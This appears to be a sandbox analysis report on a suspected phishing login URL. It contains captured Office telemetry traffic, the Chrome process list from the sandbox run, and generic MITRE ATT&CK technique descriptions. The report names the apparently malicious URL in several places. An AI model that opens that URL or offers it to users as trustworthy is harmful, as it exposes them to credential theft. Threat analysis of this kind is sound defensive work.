2024-12-04 15:16:06 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:16:07 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:16:06 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: d3398a04-c01e-007a-0bce-45b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151606Z-1746fd949bdzd2qvhC1EWRcygw0000000170000000002w8f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:16:07 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.6	49870	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:16:07 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:16:07 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:16:07 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 4ddf438b-c01e-0049-57cd-45ac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151607Z-1746fd949bdw2rg8hC1EWR11u400000001pg00000000a8w8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:16:07 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.6	49871	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:16:07 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:16:08 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:16:08 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: c8e56ad6-f01e-005d-13cc-4513ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151608Z-1746fd949bdb8xvchC1EWRmbd4000000017000000000ptrq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:16:08 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.6	49872	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:16:07 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:16:08 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:16:08 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: a14128ec-001e-005a-6ec7-45c3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151608Z-1746fd949bd54zxghC1EWRzre400000001k000000000n7rk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:16:08 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.6	49873	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:16:08 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:16:09 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:16:09 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: e40b0455-101e-008e-19d2-45cf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151609Z-1746fd949bdjrnwqhC1EWRpg2800000001f000000000a3se x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:16:09 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.6	49874	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:16:08 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:16:09 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:16:09 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: f7184125-501e-0064-68d4-451f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151609Z-1746fd949bdhk6hphC1EWRaw3c000000016g000000006qwe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:16:09 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.6	49875	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:16:09 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:16:10 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:16:10 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 8863b02e-001e-008d-5ccb-45d91e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151610Z-1746fd949bd9x4mhhC1EWRb76n00000001gg000000002pvu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:16:10 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.6	49877	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:16:10 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:16:10 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:16:10 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 0cb9a159-001e-0079-71ce-4512e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151610Z-1746fd949bd6zq92hC1EWRry48000000017g00000000nub5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:16:10 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Target ID:	1
Start time:	10:14:57
Start date:	04/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	10:15:03
Start date:	04/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2100 --field-trial-handle=2012,i,7567121628434833294,17868297172633073124,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	10:15:10
Start date:	04/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "http://fdgfhvcfdgfhhjh.gharelokhana.com/common/login"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report http://fdgfhvcfdgfhhjh.gharelokhana.com/common/login

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 57

Chrome Cache Entry: 58

Chrome Cache Entry: 59

Chrome Cache Entry: 60

Chrome Cache Entry: 61

Chrome Cache Entry: 62

Chrome Cache Entry: 63

Chrome Cache Entry: 64

Chrome Cache Entry: 65

Chrome Cache Entry: 66

Chrome Cache Entry: 67

Chrome Cache Entry: 68

Chrome Cache Entry: 69

Chrome Cache Entry: 70

Chrome Cache Entry: 71

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Chrome Cache Entry: 77

Chrome Cache Entry: 78

Chrome Cache Entry: 79

Chrome Cache Entry: 80

Chrome Cache Entry: 81

Chrome Cache Entry: 82

Static File Info

Network Behavior

Windows Analysis Report
http://fdgfhvcfdgfhhjh.gharelokhana.com/common/login